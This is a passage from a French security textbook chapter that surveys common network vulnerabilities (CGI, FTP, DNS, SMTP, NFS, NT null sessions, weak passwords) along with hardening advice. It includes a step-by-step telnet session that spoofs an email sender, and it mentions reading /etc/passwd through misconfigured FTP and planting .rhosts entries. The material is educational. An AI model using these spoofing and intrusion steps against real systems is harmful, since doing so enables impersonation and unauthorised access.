des programmes ou accéder aux fichiers.

Ces programmes tournent avec les mêmes types de privilèges que les logiciels de
serveur Web. Dès lors les crackers qui peuvent exploiter ces programmes peuvent
changer les pages Web, voler les informations ou compromettre tout le système.

Les développeurs devraient donc penser aux implications des problèmes de


sécurité de ces programmes CGI qu’ils sont chargés de concevoir. Ils doivent y
intégrer les notions de sécurité et de risque. Les programmes CGI devraient pouvoir
fonctionner avec un minimum de privilèges ou uniquement avec des privilèges en
Les vulnérabilités des systèmes d’informations 67

rapport avec les opérations pour lesquelles ils ont été conçus : un niveau trop élevé
de privilèges accordés accroît les risques.

De ce fait, les serveurs Web ne devraient pas être accessibles et/ou fonctionner à
un même niveau que celui du système racine (System’s Root) ou celui de
l’administrateur.

Les interpréteurs, tels PERL4 et/ou « SH » utilisés avec les scripts CGI, doivent
être bannis et supprimés du répertoire des programmes CGI. En effet, en gardant ce
type d’interpréteurs, on se fait piéger par les malveillants initiés aux scripts CGI.

L’utilisation de scanners de logiciels tels que les scanners de vulnérabilité ou les


scanners de CGI permettent de déceler les points faibles et proposent des solutions
pour ce type de problèmes.

3.4. Les services non cryptés

Les services non cryptés, tels le Web, le courrier électronique (emails), le FTP, et
le Telnet, constituent un autre type de point faible dans les réseaux. Ils transmettent
les noms et les mots de passe des utilisateurs, et ce dans un format non crypté. Sans
peine, et grâce aux « sniffers »5, les pirates réussissent à capturer les mots de passe
et à franchir ainsi des accès non autorisés.

Pour parer les sniffers, plutôt que d’utiliser les services non cryptés, un
administrateur doit donc utiliser des produits de sécurité tels que le SSH (Secure
Shell) et le SSL (Secure Socket Layer). Il peut également segmenter son réseau en
utilisant les commutateurs ou les routeurs.

La Figure 3.1 et la Figure 3.2 expliquent comment un sniffer pourrait être utilisé
pour acquérir le login et le mot de passe d’un utilisateur (ici, Zouheir) qui tente de se
connecter à un service FTP. Le login de l’utilisateur « Zouheir », est montré par la
Figure 3.2 issue de la version d’évaluation du sniffer Sniffem.

4 Pratical Extraction and Report Language.


5 Outils qui espionnent passivement les réseaux.
68 La sécurité sur Internet

Figure 3.1. Utilisation d’un sniffer pour détecter les utilisateurs


autorisés à accéder à un serveur FTP.

Figure 3.2. Le sniffer Sniffem montre que le login de la session FTP est : « Zouheir »
Les vulnérabilités des systèmes d’informations 69

3.5. Les comptes par défaut

Souvent, bon nombre d’applications sont installées avec des comptes ou mots de
passe par défaut. Parfois, l’installation d’une application utilise un identifiant
d’utilisateur et un mot de passe par défaut en supposant que l’utilisateur les changera
après.

Dans la réalité, même si un administrateur change ses mots de passe, il n’en


demeure pas moins que ceux-ci sont les cibles préférées des pirates. Ces derniers,
connaissant l’existence de ce type de comptes, utilisent la technique de « force
brute » pour percer le secret et obtenir les mots de passe. Les crackers savent
pertinemment que certains de ces comptes par défaut possèdent le privilège de
l’administrateur ou de l’ingénieur système.

Une fois un compte compromis, celui qui possède le privilège système pourrait,
dès lors, changer ou renommer ces comptes afin de les utiliser comme un point
d’entrée et attaquer le système.

3.6. Les problèmes du DNS

Pour résoudre les liens entre les noms des sites hôtes et les adresses IP, les
systèmes utilisent le service DNS. Par ce simple fait, le service DNS est vulnérable.
En outre, bon nombre de serveurs DNS sont mal programmés si bien qu’ils
fournissent trop d’informations concernant les réseaux. Par exemple, un serveur
DNS peut être mal configuré pour tolérer des zones de transferts par lesquelles un
attaquant peut obtenir toutes les informations concernant des domaines. Les
enregistrements des DNS peuvent également fournir des informations telles que les
adresses des serveurs internes, et les noms et rôles des systèmes. Toutes ces
informations peuvent être utilisées pour la préparation d’une attaque.

L’entreprise devrait éviter que ce type d’informations, non nécessaires d’ailleurs,


ne figurent dans leurs serveurs DNS. Les administrateurs devraient également
configurer leurs serveurs DNS de telle sorte que les zones de transfert soient
restreintes.

Certains outils et scanners6 peuvent être utiles pour travailler dans ces zones et
interroger les serveurs DNS afin de pouvoir faire une revue concernant les
informations ainsi fournies.

6 Voir, plus loin, chapitres 4 et 5.


70 La sécurité sur Internet

Dès qu’un serveur DNS est connecté à l’Internet, il est la cible des crackers. Il
importe donc d’une part de s’assurer de la bonne configuration des serveurs DNS et,
d’autre part, que les composants (hardware, SE et autres applications) soient à jour
vis-à-vis des risques connus. Les accès aux zones de transfert ainsi que leurs mises à
jour doivent être limités aux seules adresses IP autorisées.

3.7. Les permissions des fichiers

Les permissions attribuées aux utilisateurs concernent aussi bien les fichiers
auxquels ces derniers ont accès que les programmes exécutables. Leur vulnérabilité
provient d’une impropriétés ou d’une attribution indue. En effet, certains
programmes tournent dans le contexte d’un utilisateur de priorité supérieure, or une
mauvaise configuration de ces programmes élèverait le niveau d’accès de
l’utilisateur.

En outre, il arrive que dans certains répertoires, le droit de contrôle et d’écriture,


attribué partout aux membres d’un groupe, laisse, dans le système, une porte ouverte
aux pirates. Un gestionnaire ou administrateur se doit donc régulièrement de vérifier
les permissions et de les restreindre à un niveau minimum, tout en laissant les
résultats des traitements partageables.

3.8. Les problèmes des services Telnet et FTP

Un pirate qui réussit à s’introduire dans le FTP ou le Telnet peut utiliser le


système de « force brute » pour accéder aux noms et aux mots de passe associés aux
utilisateurs, d’autant plus que le système anonyme FTP reste souvent ouvert dans les
systèmes fournissant FTP.

Normalement un utilisateur anonyme n’a qu’un droit de lecture, mais s’il obtient
des informations confidentielles il peut être tenté de les utiliser pour attaquer un
système.

Incorrectement configuré, le système FTP anonyme donne donc des droits


d’écriture. La situation peut empirer du fait que des répertoires et des fichiers tels
que /etc/passwd ou /winnt/repair/sam, deviennent facilement accessibles.

Nombreuses sont les versions de FTP vulnérables, par exemple, le tristement


célèbre WFTP, connu pour ses problèmes de saturation de mémoire. Il accorde la
possibilité aux attaquants d’exécuter leurs codes et de visionner les structures des
répertoires et des fichiers. Il est donc recommandé de vérifier minutieusement les
Les vulnérabilités des systèmes d’informations 71

vulnérabilités associées aux différents types de versions des FTP avant de les
utiliser.

Si Telnet et FTP ne sont pas nécessaires, il est préférable de les supprimer du


système. Plutôt que d’utiliser ceux-ci, un administrateur de réseaux devrait se servir
des produits tel que SSH7 qui crypte toute la session. D’autre part, il pourrait limiter
l’accès de ces applications et/ou s’orienter vers le TCP Wrappers (par les adresses
IP). Dans certains contextes, ce dernier pourrait, vis-à-vis des requêtes, jouer le rôle
de tri.

Telnet

Si les numéros de port ne sont pas fournis au système, le port 23 est celui de
Telnet qui connecte par défaut. Généralement si une connexion est établie à ce port,
une bannière de bienvenue puis le prompt login apparaissent. Dès lors, le système
d’exploitation du serveur distant est systématiquement fourni par la connexion.

FTP

Il existe un nombre important de serveurs FTP avec différentes versions, mais


aucun n’est exempt de « bug ». Cependant, pour se connecter à un serveur FTP, il
est nécessaire d’avoir le logiciel adéquat appelé client FTP.

Quand le serveur FTP est actif, la bannière de bienvenue est reçue à l’écran.
Cette bannière donne le système d’exploitation ainsi que la version du serveur FTP.
Si un serveur FTP possède deux versions, par exemple une sous le système
d’exploitation Windows, l’autre sous Unix, la faille concernant le premier système
d’exploitation peut ne pas être présente dans le deuxième.

Malheureusement, la plupart des serveurs FTP sont mal configurés. En effet, une
mauvaise configuration des connexions anonymes pourrait donner accès à des
fichiers systèmes sensibles (Figure 3.3).

Pour retrouver les différents types de « bug », on peut consulter les sites suivants
en cherchant avec comme critères les versions des serveurs FTP et les systèmes
d’exploitation associés :
– http://www.astalavista.com
– http://www.cert.org

7 www.ssh.com.
72 La sécurité sur Internet

– http://www.securityforce.com
– http://packetstorm.com
– http://www.antionline.com
– http://www.insecure.org
– http://www.ntbugtraq.com

Figure 3.3. Accès anonyme à un serveur FTP

3.9. Les problèmes du protocole ICMP

ICMP est très connu pour l’utilisation de Ping ainsi que pour la pratique des
attaques de déni de service (DoS). En plus, d’autres types de vulnérabilités sont
associés à l’ICMP, tels que l’obtention des éléments du réseau, l’horodatage et
d’autres informations exploitées par les pirates. Plusieurs scanners sont configurés
par défaut pour ne pas scanner les systèmes ne donnant pas de réponse aux Ping.
Inhibé, pour les pirates non chevronnés, ICMP rendrait plus difficile le scannage
d’un réseau. Les commandes Ping et TraceRoutre (commande d’identification des
routes ou chemins des paquets) basées sur le protocole ICMP sont souvent utilisées
pour détecter et identifier les systèmes. De ce fait, un pirate pourrait les utiliser à des
fins personnelles et identifier les systèmes cibles. Il pourrait également utiliser la
commande TraceRoute pour identifier l’architecture du réseau cible. Pour visualiser
le résultat des commandes Ping et TraceRoute (Figure 3.4), on pourrait utiliser
NetScanTools, NetworkView ou VisualRoute.
Les vulnérabilités des systèmes d’informations 73

Figure 3.4. La commande ping dans l’outil NetScanTools

Même si l’ICMP est très utile, il ne doit être implémenté qu’en cas d’absolue
nécessité. Il doit être banni aux frontières des routeurs et des firewalls. Si
l’utilisation s’avère nécessaire, il importe de bien sélectionner et protéger les
machines fournissant ce type de service.

3.10. Les problèmes du protocole SMTP

La plupart des serveurs email (tels que Sendmail et Qmail) comportent plusieurs
erreurs de programmation ou bugs. Communiquer par emails fait désormais partie
de la vie quotidienne.

Mais combien d’internautes, qui utilisent les services clients email tels que MS
Outlook, Netscape Navigator, Eudora ou Opera, savent comment fonctionne ce
service ? Tout le monde sait taper le texte du courrier puis cliquer sur Send
(« envoyer ») ou presser sur la touche d’envoi. Et les choses s’arrêtent là !

Dans ce qui suit, nous allons comprendre ce qui se passe réellement.


74 La sécurité sur Internet

Pour envoyer un message, le client email se connecte au serveur email par défaut
au port numéro 25 en utilisant le protocole SMTP.

Par contre, pour recevoir les messages, le client email se connecte par défaut au
port 110 en utilisant, cette fois, le protocole postage POP version 3. Une fois
connecté au système, le serveur POP3 démarre l’authentification et demande le nom
d’utilisateur et le mot de passe. Ces informations sont envoyées automatiquement
par le client email au serveur POP3. Le destinataire reçoit alors son courrier.

Il faut donc distinguer la procédure d’envoi de celle de la réception. En effet, lors


de l’envoi d’un courrier, le nom d’utilisateur et son mot de passe ne sont pas
obligatoires.

Par contre, ces informations sont nécessaires pour recevoir le courrier. Ainsi, le
serveur SMTP peut envoyer des mails sans authentification. Pour les pirates, le
SMTP est une cible privilégiée parce qu’il est accessible via le Web.

Pour pallier les vulnérabilités des serveurs SMTP, des corrections patchs ont été
intégrées dans les dernières versions des logiciels. Les administrateurs systèmes
doivent constamment rechercher les évolutions et appliquer les patchs pour leurs
serveurs SMTP.

Prenons l’exemple d’un faux email.

Accédons à un serveur SMTP par le port 25 et voyons si nous pourrions envoyer


un faux email. Ouvrons notre Telnet client, puis faisons un Telnet au port 25 du
serveur.

Supposons maintenant que mon nom soit Zouheir. Je vais envoyer un email à
l’adresse « zouheir@yahoo.fr » de la part de « henri_ly@yahoo.fr », donc je vais
usurper l’identité de Henri Ly. Je tape les lignes suivantes : (le texte en anglais est la
représentation exacte des messages du système) :

► Helo Zouheir
► /* Quelques lignes de texte apparaissent ici */
► mail from: henri_ly@yahoo.fr
► 250 <henri_ly@yahoo.fr>...Sender Okay
► rcpt to: zouheir@yahoo.fr
► 250 <zouheir@yahoo.fr>...Recipient Okay
Les vulnérabilités des systèmes d’informations 75

► data

► 250 Enter mail, end with “.” On a line by itself


► Ceci est un faux message !!!
► 250 Mail accepted (dernier message du système)
Au terme de ces instructions, le message est simplement envoyé à l’adresse email :
zouheir@yahoo.fr.

3.11. Les problèmes des protocoles IMAP, POP3 et POP2

Dans cette section, nous allons évoquer les problèmes des ports 143, 110 et 109
qui sont souvent affectés par défaut respectivement aux services IMAP (Internet
Message Acces Protocol), POP3 (Post Office Protocol, version 3) et POP2 (Post
Office Protocol, version 2).

L’IMAP permet la manipulation des messages distants. Il fournit des accès


multiples aux boîtes aux lettres avec possibilité sur plusieurs serveurs et donne la
possibilité aux utilisateurs de créer, de détruire et de renommer les boîtes aux lettres.
A cet effet, l’adresse http://www.cert.org/advisories/CA-1997-09.html fournit de
plus amples informations.

Protocole de postage, le protocole POP désigne les services email quand un


système est éteint ou n’est plus en ligne (offline). S’il existe une connexion physique
du système client au serveur, ce dernier téléchargera les courriers électroniques qu’il
détient. Dès lors les courriers détenus par ce serveur seront détruits après le transfert
à la machine locale du client. POP2 et POP3 sont les versions 2 et 3 du protocole
POP.

Dans le cas de vulnérabilités dans les serveurs IMAP et POP, les utilisateurs
distants peuvent accéder et travailler au niveau racine du système. Ils acquièrent par
conséquent les mêmes privilèges que l’administrateur. Ainsi, ils n’ont même pas
besoin d’avoir un compte ouvert pour travailler puisque IMAP et POP sont des
protocoles permettant de travailler à distance pour les emails. Comme ces
protocoles, de par leur nature, sont conçus pour les accès à distance, des brèches
sont souvent ouvertes dans les firewalls laissant circuler, dans le réseau interne de
l’entreprise, les trafics d’IMAP et de POP.

Compte tenu de l’ouverture de l’accès à l’Internet, les pirates sont friands de ce


type de protocoles pour attaquer. Plusieurs accès illégaux aux systèmes où étaient
installés IMAP et POP sont connus et répertoriés. Pour contrer ces méfaits, IMAP et
76 La sécurité sur Internet

POP doivent être supprimés des systèmes si ces services ne sont pas indispensables.
En plus, les administrateurs doivent mettre à jours la version des logiciels en service,
et obtenir les derniers patchs.

3.12. Les modems

Les modems connectés aux ordinateurs de bureau représentent souvent les portes
arrière des réseaux malheureusement ignorés des administrateurs. Et ce qui aggrave
les choses, c’est que bon nombre de gens se connectent eux-mêmes à leur entreprise,
à partir de chez eux.

Figure 3.5. Un pirate peut accder frauduleusement à une entreprise par un modem

Dans d’autres cas, le plus souvent quand ils partent pour la journée ou pour le
week-end, certains utilisateurs laissent leur PC de bureau allumé et le modem
connecté afin de pouvoir les utiliser à distance. Les systèmes qui tolèrent ce type de
modems sont parfois mal configurés et constituent une cible facile pour les pirates
(Figure 3.5). En effet, une personne mal intentionnée pourraient utiliser le
Les vulnérabilités des systèmes d’informations 77

programme « Brut force » pour scanner les numéros de téléphone pour


l’identification de ces modems.

Certains programmes, comme le Wardialing, peuvent aussi identifier le type de


système sur lequel le modem est connecté. Un pirate chevronné pourrait ainsi
exploiter la connexion d’un modem pour accéder au système qui sera utilisé comme
point d’entrée au réseau. Les modems inconnus et/ou mal configurés ajoutent aux
points faibles de la sécurité des environnements actuels de bon nombre
d’entreprises.

Tous ces risques devraient pousser les entreprises à définir une politique sévère
concernant l’utilisation non autorisée des modems. L’administrateur ou le
responsable de sécurité devrait régulièrement scanner et vérifier les lignes
téléphoniques et les centraux de son entreprise afin de détecter les réponses des
modems. La politique d’authentification des modems devrait également être
renforcée. Le Wardialing et les intrusions forcées des lignes seront détaillées dans
une section plus loin.

3.13. Défaut de pilotage et de détection

Le défaut de pilotage et de détection est une autre erreur à ne pas commettre car
ce « trou de sécurité » rendrait possible les incursions indétectables. Bon nombre
d’entreprises n’ont pas d’habitude de suivi automatique ni de révisions des systèmes
mal configurés. Sans suivi adéquat, les attaques peuvent survenir sans laisser de
trace. S’il n'est pas détecté, l’attaquant peut faire fonctionner des techniques
intrusives pour compromettre votre système. Disposant d’assez de temps, le pirate
peut tester le système jusqu’à ce qu’il trouve les points faibles. Un suivi adéquat et
la détection d’intrusion sont donc des points essentiels de la sécurité.

3.14. Les problèmes des architectures des réseaux

Une architecture de réseau faible permet aux attaquants de passer à travers les
firewalls et autres moyens de contrôle pour atteindre un réseau interne. Une
architecture sécurisée doit être conçue de manière à segmenter et à séparer le réseau
interne de l’Internet avec le filtrage des informations rentrant par un firewall. Ainsi
les systèmes accessibles au public, tels les serveurs Web, le serveur DNS et celui des
courriers électronique, doivent être localisés dans une zone DMZ (De-Militarized
Zone), neutre et isolée. Les entreprises qui ne prennent pas conscience de ces
pratiques exposent leurs points faibles à l’accès non autorisé.
78 La sécurité sur Internet

Plusieurs entreprises qui possèdent des systèmes hôtes de type dual, utilisent une
deuxième carte connectée à un autre segment interne du réseau. Or ce dernier ne
joue pas le rôle de routeur. De ce fait, en exploitant ce système dual, un pirate peut
accéder au réseau entier sans être filtré par le firewall mis en place. Donc la
protection supposée surveiller le système ne sert plus à grande chose. Pis encore, il
existe des cas où l’on permet la communication entre systèmes (internes) via le
firewall. Par ce biais, les pirates pourraient s’engouffrer dans les systèmes internes
via le firewall. Les administrateurs ne devraient donc pas donner la possibilité aux
systèmes installés dans la zone DMZ de communiquer avec les autres systèmes
internes. Par exemple dans la zone DMZ, les services d’accès aux FTP internes ne
doivent pas se mettre en place. En effet, même compromise, cette zone ne laisse
aucune possibilité aux attaquants d’accéder aux systèmes internes de l’entreprise.

3.15. Les vulnérabilités du NFS (Network File System)

NFS est le système de gestion en réseau des fichiers. Il est utilisé pour partager
les fichiers et les pilotes dans les systèmes Unix. Exporter NFS pour être accessible
à partir de l’Internet constitue donc une brèche ouverte au piratage. Les
configurations impropres pour les droits de partager le NFS pourraient fournir aux
attaquants la possibilité d’accès aux informations sensibles, stratégiques et la
possibilité d’écriture.

Un pirate pourrait écrire une entrée à un fichier « rhosts » permettant à son


adresse IP de rlogin (logger à distance) au système. D’autre part, il existe d’autres
types de vulnérabilités associées à NFS. Les versions incluant le daemon « nfsd »
permettent aux pirates d’accéder au système avec le privilège « root » (i .e. aux
privilèges de la racine, les mêmes que ceux de l’administrateur).

Les services de NFS étant incontournables, l’administrateur se trouve dans


l’obligation absolue de les configurer proprement. Le port utilisé par les fichiers
partagés, normalement celui portant le numéro 2049 doit être bloqué au niveau du
firewall et des routeurs filtrants.

En plus, les permissions sont à contrôler sévèrement et à attribuer sérieusement.


Une mise à jour du système avec les patchs correspondants aux services de NFS
installés est recommandée. Enfin, la publication des dernières vulnérabilités et des
patchs pour le NFS est à suivre impérativement.
Les vulnérabilités des systèmes d’informations 79

3.16. Les problèmes de Windows NT (les fichiers partagés)

Le système des fichiers partagés sous NT est aussi vulnérable que sous le
système Unix. Le système NT partage les fichiers et effectue les communications à
travers les ports 135-139, alors que sous Windows 2000, le port de communication
porte le numéro 445. Tous les ports non indispensables pour les utilisateurs
devraient être bloqués et les administrateurs devraient vérifier aussi que les ports
135-139 et 445 sont clos. En effet, ces ports autorisent l’accès aux fichiers et
informations partagés dans le système à bon nombre d’utilisateurs (parfois non
souhaités). En plus, ces ports permettent aux attaquants d’utiliser les commandes
réseaux natives. Les pirates scannent fréquemment l’Internet à la recherche des ports
135-139, 2049, et 445 permettant le partage des fichiers. N’importe quel site avec
ces ports ouverts devient une proie potentielle pour les attaquants.

3.17. Les connexions de type Null de Windows NT

Avec les fichiers partagés sous Windows NT, il existe la connexion NULL que
nous considérons comme assez importante pour la signaler séparément dans cette
section. Une connexion NULL concerne une connexion anonyme, sans mot de passe
aux processus inter-communication de NT partageant IPC$. Avec ce principe de
connexion, le pirate pourrait se connecter à ce IPC$ partagé et obtenir des
informations à propos du système NT. Les crackers peuvent ainsi travailler
manuellement avec les commandes NET ou avec des outils tel que DUMP SEC. Ils
peuvent également obtenir la liste des utilisateurs du système, les états de leurs
comptes, la politique de gestion, les informations partagées, l’état des registres et
d’autres informations utiles pour préparer des attaques.

Pour contrer ces attaques, il est impératif de verrouiller la clef du registre


anonyme nommé RestrictAnonymous. Pour ce faire, nous présentons les étapes à
suivre :
► 1/ lancer l’éditeur des registres « regedt32 » ;
► 2/ localiser le registre suivant :
► HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA ;
► 3/ créer ou modifier la valeur du registre en mettant la valeur 1 pour
REG_DWORD ;
► 4/ quitter l’éditeur puis relancer le système afin de valider la modification.
80 La sécurité sur Internet

Dès lors, la connexion NULL s’exécute mais les informations importantes ne


sont plus affichées.

3.18. Les problèmes des mots de passe et des Id utilisateurs

Une des plus importantes vulnérabilités d’un système concerne les faiblesses des
mots de passe. Ce problème n’affecte pas les machines utilisant des systèmes
d’authentification renforcés tels que la reconnaissance digitale, des mots de passe à
utilisation unique et les authentifications doubles (i.e. avec deux éléments à
authentifier). Or, les utilisateurs, craignant d’oublier ou inconscient des dangers,
choisissent souvent les mots de passe aisément mémorisables. Ils facilitent eux-
mêmes souvent la tâche des pirates en employant des mots de passe aussi simples
que leurs noms, des dates (date de leur naissance ou date des événements connus,
etc.), des noms d’équipes sportives ou d’autres éléments très prévisibles.

Les administrateurs sont souvent aussi « coupables » que les simples utilisateurs
en employant eux-mêmes des mots de passe faciles ou en partageant ces derniers.
Dans beaucoup d’entreprises, les mots de passe des administrateurs sont souvent très
faciles à deviner. En plus, ces administrateurs ne pensent pas à changer régulièrement
ces mots de passe car ceci suppose la mise à jour d’un certain nombre de systèmes et
la notification des modifications aux autres services ou aux autres collègues
administrateurs. De ce fait, les comptes les plus puissants sont dès lors faciles à
compromettre.

Les utilisateurs et les administrateurs doivent employer des mots de passe


renforcés avec l’utilisation des métacaractères et des mots ne se trouvant pas dans
les dictionnaires électroniques usuels.

Les changements fréquents des mots de passe et un historique sont impératifs


pour se prémunir contre la réutilisation d’anciens mots de passe par les utilisateurs.
Une manière de renforcer ces mots de passe, c’est d’utiliser soi-même des outils de
crakage des mots de passe comme « L0phtCrack » ou « John the Ripper ».

En plus, l’administrateur se doit d’utiliser les utilitaires tel que NT passflt.dll


pour forcer les utilisateurs à sélectionner des mots de passe convenables. Avec les
systèmes Windows NT, il doit également utiliser le cryptage Syskey pour sécuriser
le fichier contenant les mots de passe. En effet, Syskey ajoute un deuxième niveau
de cryptage aux mots de passe hachés dans les systèmes NT, les rendant plus
difficilement accessibles. Les gestionnaires des systèmes Unix sont obligés d’utiliser
le principe de mots de passe cachés ou masqués (password shadowing) qui dès lors
Les vulnérabilités des systèmes d’informations 81

ne sont accessibles que par le root, et uniquement à celui qui possède tous les
privilèges.

Malheureusement ces mots de passe « pauvres » ne sont qu’une partie des


problèmes concernant les faiblesses des méthodes d’authentification. Pourtant, ces
derniers sont les clefs de la sécurité. La certification digitale, le PKI (l’infrastructure
des clefs publiques), la biométrie et les cartes intelligentes sont des exemples de
méthodes d’authentification considérées parmi les plus sécurisantes.

Ces méthodes améliorées d’authentification impliquent le principe « de quelque


chose que vous possédez et de quelque chose que vous connaissez ». Si la méthode
ne repose que sur un objet que vous connaissez (un mot de passe) ou sur un objet
que vous possédez (une clef) alors le système sera compromis si l’un de ces objets
venait à être volé ou connu de vos adversaires. En imposant deux moyens
d’authentification « ce que vous possédez et ce que vous connaissez » ou le principe
biométrique, basé sur un élément de votre corps (vos empreintes digitales par
exemple), le processus d’authentification deviendrait plus sûr. Mais le problème est
que ces mécanismes d’authentification sont encore dans leur phase de finition et
souvent très chers, très complexes et assez difficiles à mettre en œuvre.

3.19. Les problèmes des services d’administrations à distance

Un autre type de vulnérabilité bien connu provient de la technique de la gestion


des systèmes distants par l’administrateur. Les insécurités concernant l’utilisation de
FTP et de Telnet ont été précédemment exposées.

Mais d’autres types de problèmes relatifs aux contrôles à distance des


programmes sont aussi associés à ces derniers. En effet, pour administrer le système
à distance, certains administrateurs utilisent des programmes de réseaux virtuels tels
que pcAnywhere, NetSupport, et VNC (Virtuel Network Computing). Or ces
services sont souvent improprement installés. En exploitant ces failles, les pirates
peuvent obtenir le privilège et accéder à un système insuffisamment contrôlé.

Si les administrateurs utilisent des outils de gestion distants, ils devraient les
sécuriser. Ces outils devraient pouvoir :
– crypter les communications,
– posséder un système d’authentification adéquat,
– contrôler et bloquer tous les comptes ayant subi plusieurs fois des tentatives de
connexion sans succès,
82 La sécurité sur Internet

– détecter les tentatives d’accès des utilisateurs illicites ou interdits

En plus, les accès pour l’utilisation de ces outils devraient être limités aux
adresses IP spécifiques des terminaux de l’administrateur.

3.20. Les problèmes du RPC (Remote Procedure Call)

Les appels de procédures distantes (RPC) permettent à un système distant de


communiquer avec un autre système pour exécuter des programmes. Ces RPC sont
donc très recherchés par les pirates. Ils sont communs aux environnements réseaux,
et sont vulnérables aux attaques du type de dénis de services ou aux accès non
autorisés.

Les administrateurs sont donc appelés à refuser les services RPC dans les
systèmes connectés à l’Internet. Les firewalls doivent bloquer tous les services
RPC ; ainsi les attaquants distants ne peuvent plus y accéder via l’Internet. Pour
parer à ce type de menaces d’Internet, les administrateurs devraient enlever tous les
services RPC contingents.

Par contre, pour les systèmes qui exigent les services RPC, il importe de les
mettre à jour et de les « patcher » régulièrement. Les scanners de vulnérabilité et
ceux des ports8 aident à identifier sur le réseau les services RPC en fonction.

3.21. Les services installés par défaut

Très souvent, lors de l’installation des applications ou même des systèmes


d’exploitation, plusieurs services sont installés à l’insu de l’installateur. Par
exemple, au cours de l’installation d’Unix, des services tels que Sendmail, FTP,
rstat, rmont, non demandés spécifiquement sont souvent installés d’office, ce qui
rend le système vulnérable.

Il en est de même pour plusieurs installations de Windows NT qui incluent


systématiquement l’IIS (Internet Information Server) même non demandé. Les tests
d’intrusion permettent aux administrateurs non initiés d’identifier ces services.

L’administrateur d’un nouveau système doit vérifier le bon fonctionnent des


services sous leurs responsabilités. Pour ce faire, un scannage périodique des

8 Voir détails, chapitres 4 et 5.


Les vulnérabilités des systèmes d’informations 83

serveurs avec les outils de scannage des ports est nécessaire pour traquer les services
non voulus. Tous les ports inutiles doivent être fermés au niveau du firewall afin
d’empêcher un attaque par un port qu’un service ouvre inopinément au démarrage.

3.22. Les problèmes du protocole SNMP (Simple Network Management


Protocol)

Pour gérer les périphériques des réseaux tels que les routeurs, les hubs et les
commutateurs, le protocole SNMP est utilisé. Une configuration impropre pourrait
fournir des informations utiles pour les pirates, leur donnant accès aux réseaux. Les
périphériques doivent être configurés en lecture seule ou en lecture/écriture. Ces
privilèges sont contrôlés par les chaînes communes relativement non sécurisées. Ces
chaînes sont en général des mots de passe.

N’importe quel utilisateur ayant accès aux périphériques gérés par SNMP peut
se procurer ces chaînes de caractères. Si un utilisateur peut obtenir l’autorisation
d’écriture, il peut alors reconfigurer, fermer ou installer des services tels que ceux de
contrôle à distance des machines. Même avec le seul privilège de lecture, cet
utilisateur est en mesure d’obtenir des informations importantes et de valeur
concernant le réseau ou les systèmes et de ce fait, d’attaquer et de compromettre les
hôtes sur le réseau.

3.23. Les virus et les codes cachés

Les menaces des virus varient en fonction des intentions de celui qui les
entreprend. Si certains virus causent seulement de simples désagréments, d’autres
sont capables de détruire des fichiers ou se cacher dans l’attente de l’opportunité
d’obtenir des accès non autorisés.

L’étendue des problèmes de ces virus démontre l’habilité des pirates à les
masquer et à les introduire dans des codes ingénieux. Cela démontre aussi parfois
combien il est facile pour un utilisateur non averti d’exécuter ces codes et ainsi de
compromettre la sécurité de son entreprise.

Les logiciels d’antivirus sont très perfectionnés de nos jours, mais leur efficacité
est relative car ils sont conçus en fonction des virus bien définis et connus. De ce
fait, ces produits doivent être constamment mis à jour. En outre, très souvent,
plusieurs nouveaux virus ne se trouvent pas dans les bases de données ou sont
simplement manquants.
84 La sécurité sur Internet

Les virus utilisent des codes cachés. Un pirate peut déjouer la vigilance d’un
utilisateur pour exécuter ces codes cachés pour accéder à un réseau ou à un système.
Ces codes peuvent être cachés dans des programmes en batch de Java, d’ActiveX ou
dans des codes d’accès aux serveurs par exemple. L’utilisateur peut rapatrier ces
codes négligemment en visitant des sites infectés.

Les crackers cachent aussi très souvent ces codes dans les emails ou dans des
fichiers attachés aux emails. Ces programmes ou scripts colportant des virus
ouvriront des « trous » dans les systèmes des victimes permettant ainsi au pirate de
passer au travers ou à court-circuiter (by passer) les firewalls ou autres moyens de
contrôle et d’accéder directement au réseau interne des utilisateurs.

Pour se défendre contre ces menaces, une approche par niveaux ou couches est
donc nécessaire. Les administrateurs doivent, d’une part mettre en garde les
utilisateurs de ne pas accepter les emails et/ou de ne pas ouvrir des fichiers attachés
provenant de sources inconnues.

D’autre part, les logiciels antivirus doivent être installés aux frontières d’accès
de l’entreprise, pour scanner tous les emails, les fichiers attachés et les
téléchargements provenant de l’Internet. Le courrier doit être impérativement scanné
avant qu’il ne rentre dans le réseau. Et enfin, lors de la configuration des
navigateurs, les scripts Java et ActiveX doivent être désactivés.

3.24. Les vulnérabilités des serveurs Web

Il existe plusieurs vulnérabilités dans les serveurs Web tels que l’IIS (le serveur
d’information Internet) de Microsoft, Nestcape, Apache et autres. Dès lors qu’ils
sont accessibles via l’Internet, ils sont la cible d’attaques potentielles.

L’IIS semble être le favori des pirates, mais d’une façon plus complexe, les
serveurs tournant avec IIS ont des types de vulnérabilités associées. Aussitôt que les
fournisseurs identifient ces vulnérabilités, ils ont la responsabilité de fournir des
« patchs ». Néanmoins s’ils ne sont pas appliqués rapidement, les risques sont élevés
pour les systèmes. Une recherche rapide des exploits concernant chaque type de
vulnérabilité sur les sites Web permet de trouver des réponses et des informations
intéressantes.

Beaucoup de scanners de vulnérabilité permettent des détections efficaces, mais


la meilleure façon d’assurer la protection est de mettre à jour les patchs des
systèmes.
Les vulnérabilités des systèmes d’informations 85

3.25. Management des vulnérabilités

Nous avons montré plusieurs types communs ou usuels de vulnérabilités trouvés


dans le contexte informatique actuel. Il en existe d’autres, associés aux systèmes
d’exploitation et aux applications. Nous avons proposé, d’une façon générique, de
suivre les procédures de patchs de correction et de leur installation dès leurs mises à
disposition. Chaque mois entre 20 et 70 types de vulnérabilités sont publiés sur la
toile9 et il existe parfois une période de durée assez critique entre les publications
des vulnérabilités et la réalisation des remèdes « patchs ».

En outre, la détection soudaine d’une attaque ou d’intrusion laisse parfois les


entreprises perplexes. L’élaboration de procédures préalables de prévention s’avère
nécessaire. Elle permettrait dès lors de parer avec succès les attaques potentielles et
de minimiser les pertes possibles avec un système de sauvegarde planifiée.

Alors que les fournisseurs des systèmes sont conscients et responsables de la


publication des vulnérabilités ainsi que des remèdes ou procédures relatives, les
administrateurs n'ont souvent pas le temps de visiter par eux-mêmes ces sites
quotidiennement ou même une fois par semaine. Néanmoins, il existe des listes de
mailing conçues spécifiquement pour les abonnés à des services tels que le CERT,
Bugtraq ou autres qui avertissent leurs clients dès qu’un nouveau type de
vulnérabilité est publié. Par contre, ces courriers électroniques (emails) inondent
tous les systèmes et provoquent des réticences ; ainsi les informations importantes
risquent de passer inaperçues.

